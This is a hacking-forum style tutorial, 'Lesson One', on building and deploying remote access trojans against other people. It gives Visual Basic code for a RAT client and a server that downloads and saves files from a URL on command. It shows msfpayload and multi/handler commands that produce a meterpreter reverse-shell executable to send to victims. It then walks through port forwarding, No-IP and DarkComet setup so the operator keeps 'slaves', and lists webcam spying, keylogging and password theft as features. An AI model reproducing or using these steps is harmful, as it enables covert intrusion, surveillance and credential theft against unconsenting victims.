☆ Antagonism | Lesson One - All about RATs ☆

How do RATs work?

In order to configure RAT correctly you must understand them first.

RATs are made from two parts:

Builder

Listener

Builder is part that makes your server. Listener listens for incoming connections and accepts them.

RATs work on the base of reverse connection. What does that mean? Server you make has information of your external IP address, and port. When they run your server(malicious file) they connect back to you.

Programming RATs

Example is in visual basic. If you don't know the language, I don't recommend you proceed further. This is the most simple way to make one. I highly recommend you don't use WinSock in your RAT. This is for demonstration purposes only.

RAT

Create a new WinSock object and name in WinSock. Then go ahead and make two Text Boxes and two Buttons. Also make one Rich Text box and name it Rich.

Double click the first button. We want it to take input from first text box in which we will type IP address. Port will by default be set to 4444. To connect we use Winsock.Connect(IP, Port).

PHP Code 


<?php 
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  Winsock.Connect(TextBox1.Text, 4444)

End Sub 

Awesome. But keep in mind that it will not work unless there is a listener on the other side. We'll get to that later. Now as I said, we want it to send strings to the other side. It will take input from TextBox2 and do so.

PHP Code 


<?php 
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  Winsock.SendData(TextBox2.Text)
End Sub 

Good. This will send string that is inputted in second text box. Now we also want to get data from our victim. To do so we need data arrival event and Winsock.GetData() function.

PHP Code 


<?php 
Private Sub Winsock_DataArrival(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent)
  Dim Data As String = ""
  Winsock.GetData(Data)
  Rich.AppendText(" " + Data & vbNewLine _
    )
End Sub 

Everything victim returns you will be written in rich text box. And that's all we'll be needing for our RAT. Not let's take a look at our malicious file.

Server

Start a new project, make a form and create Winsock1 object.
Server will be listening for new connections. Also we want form name to change to "Listening..." so we now everything went good.

PHP Code 


<?php 
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  Winsock1.LocalPort = 4444
  Winsock1.Listen()
  Me.Text = "Listening..."
End Sub 

Now when new connections come, we want to accept them. Use ConnectionRequest event for that.

PHP Code 


<?php 
Private Sub Winsock1_ConnectionRequest(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles Winsock1.ConnectionRequest
  Winsock1.Close()
  Winsock1.Accept(e.requestID)
  Me.Text = "Worked"

End Sub 

Okay. First run the server and it will begin to listen. Then start the RAT interface and input the IP of the victim In first text box. Click on button one and it will connect. Right now the RAT doesn't do anything. We need to make the server check the data that will be arriving from TextBox2 and give it instructions.

For example, if it gets word "Hello" it should open a message box saying "Hello world!".

Now let's use DataArrival event again.

PHP Code 


<?php 
Private Sub Winsock1_DataArrival(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles Winsock1.DataArrival

  Dim data As String = ""
  Winsock1.GetData(data) 
  If data = "Hello" Then
    MsgBox("Hello world!")
  End If
End Sub 

Good. Now save the project and run it again. Connect to it from the interface and in TextBox2 type "Hello" and click send. You will see message box open saying "Hello World".

This seems rather easy, but what when user has to input more then one input in just one string? For example.

PHP Code 


<?php 
download http://dl.dropbox/maliciousfile.exe 

Server will have to do a little more then just a basic check. We will search if the string contains word "download" and if it does, we will take the rest of the string and take it as a variable.

PHP Code 


<?php 
ElseIf InStr(data, "download", vbTextCompare) Then
    Dim url As String = Replace(data, "download ", "")
    Dim Current As String = CurDir() + "\Name.exe"
    My.Computer.Network.DownloadFile(url, Current)
    Winsock1.SendData("File saved as: " & Current & ". If the file doesn't match the extension, rename it.") 

Now when we run "download http://dl.dropbox/maliciousfile.exe" we will download file in our current directory with name "Name.exe". This was just a basic example of how things work behind the scenes. If you wish to program your own Remote Administration Tool, Winsock is not good for you.
Metasploit

You need to create a server, which contains information of your external IP and port you forwarded. When you send it to someone and he opens it, he connects back to you. Rats use this type of reverse connection. However, most of you have dynamic IP (It changes). If you infected the target, his PC would always try to connect to the same IP you inputted even though your IP changed. To bypass this, we use no-ip client, which always updates our IP. That way we won't lose our slaves.

So here's another example of the simplest server possible. This is just an example on how they work. You don't have to do any of this.

BackTrack console:
Code:

Code 
msfpayload windows/meterpreter/reverse_tcp LHOST=(Your External IP) LPORT=4444 X > server.exe

As you can see, it took the famous meterpreter payload, set our Local Port and our Local host and mate it executable. Send it to someone and first step is done. However this won't be enough. We need to start a new console and use exploit/multi/handler as listener. It will listen for incoming connections and accept them.
Open a new console and type:
Code:

Code 
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

Set lhost 192.168.2.103

set lport 4444

exploit

When he runs the file, meterpreter session will open:
Code:

Code 
[*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:1098) at Tue Jan 31 21:35:35 +0000 2012

As you can see, modern RATs do all this work for you. Servers are much more advanced and have options to change creation date, be installed in custom destinations and all of them have startup option.

Port Forwarding

Your server contains information of external IP address and port. That port can be any unused port. When they run the server, they connect back to us. But connections coming to our router need to be directed to machine on local network. That's why we 'forward' all connections on certain port to our local IP address.
So, let's start!

Go to start>run
Type:

Code 
cmd

Black window will appear. Now inside of it, type:

Code 
ipconfig

Lot of information will appear, but you must take note of two things:

Local IP

Default Gateway

My local IP is 192.168.2.101
My default gateway is 192.168.2.1
Your default gateway is most likely 192.168.1.1

Now open web browser of your desire. In address bar type your default gateway.
You will be greeted by input window asking for your administrator username and password. Now, if you haven't changed anything you need to input default browser login info. You can find these by searching your router model on Google.
I had 'admin' for both username and password.

Code 
admin

admin

Now you are in your router. Find any tab that says either:

Forwarding

Virtual servers

Games & Applications

Now you will have option to forward. You can have many fields and text boxes there. They can ask for one IP, or range of IPs, they can ask for port, or range of ports etc.
In every IP field type your local IP (192.168.2.101 for me), in every port field type port you want to forward (4444 for me).
For protocol, choose both.

Now click ok and that's it.
Here's a screenshot of how it looks on my side:
Spoiler (Click to View)

If your router has any firewall, either:

Disable it

Add a rule that will allow connection

Now we want to test it. Remember this:
Ports don't show as open unless they are being used. So what are you going to do? Use them.
Downlaod uTorrent. Under Options tab go to Setup guide. Under networking type your forwarded port (4444).
Now click run tests, and then click save and close.
Spoiler (Click to View)

Go to CanYouSeeMe and type your port. It will give accurate results.
Also, when you're done, go back to uTorrent and set it to use a different port.

Port Forwarding Multiple Routers

For multiple routers it gets difficult. Log in to your second router. Find WAN settings and take note of your other default gateway. It must be one of your first router.
Spoiler (Click to View)
Go to quick setup or something like that chose static ip and in ip fill in desired IP (Any IP that has first 3 rows same as default gateway of your first router. Default gateway of my first router is 192.168.1.1, so i can set static IP to be 192.168.1.50), for Subnet Mask 255.255.255.0 and for default gateway 192.168.1.1.Spoiler (Click to View)
For DNS you need to log on to your first router. Find Primary DNS and copy-paste.
Spoiler (Click to View)
Finish the quick setup. You set up your routers static IP. Now we need to forward ports from 1st router to static IP, then from 2nd router to your local IP.
Now in the first router go to virtual servers and forward the port to static IP you just made (192.168.1.50)
Spoiler (Click to View)
and in the second router forward the ports (4444,443,80) to your local IP.

Spoiler (Click to View)

No-IP

As I said, RATs work on reverse connection. We have already insured that slaves find us. But what happens when you restart your router? Your external IP changes to something else. That would mean that you would lose your slaves every time you restart your router. To bypass this hackers use no-ip.
We make a host on no-ip. The host updates with our external IP address every time we log in their site. The host itself is simply forwarding all connections that come to him, to our external IP.
So, No-ip is not used for protection like most people think, it is used to update with our external IP so we don't lose slaves.

Register an account at No-IP. Add a new host. You will be greeted by many options but you only want to change two things.

Make hostname anything you want.

Choose one of free domains. No-ip.biz for example.

ScreenShot:
Spoiler (Click to View)

Now scroll down and click create host.
Now click download client. Install their client called "Duc". It will run at startup, and update your IP all the time.
Log in to DUC with no-ip username and password.

Dark Comet

I will be showing you how to configure DarkComet v5.2 fwb final. Download it from their official website and start it.
Go to Socket/Net tab and right click on empty space. Then click 'Add port to listen', and type port you forwarded (4444).
This is all that listener needs.
ScreenShot:
Spoiler (Click to View)

Now go to DarkComet-RAT and click on Server Module > Full Editor

Go to network settings. For IP/DNS type:

Hostname you created at No-ip. For example: examplehostname.no-ip.biz

For port type port you forwarded.

Click add. That's it!
ScreenShot:
Spoiler (Click to View)
Now, if you test it on yourself it might not work properly, but it is configured correctly. So to test it, ask for a test install.
When someone opens the server, and when they run it, you will get a new connection.
Spoiler (Click to View)

DarkComet has many great options. All of them can be found in control center. To open control center, just select the slave and right click it. Click open control center.
You can:

Remotely control his desktop

View his webcam

Log keystrokes

Steal stored passwords

and many more

Keyloggers can be:

Offline

Online

Offline keyloggers can be viewed from your RAT. Online ones send the logs through FTP to your previously set destination.

Password Stealers steal saved passwords. They too can be online and offline, but they don't work very well on some RATs such as CyberGate.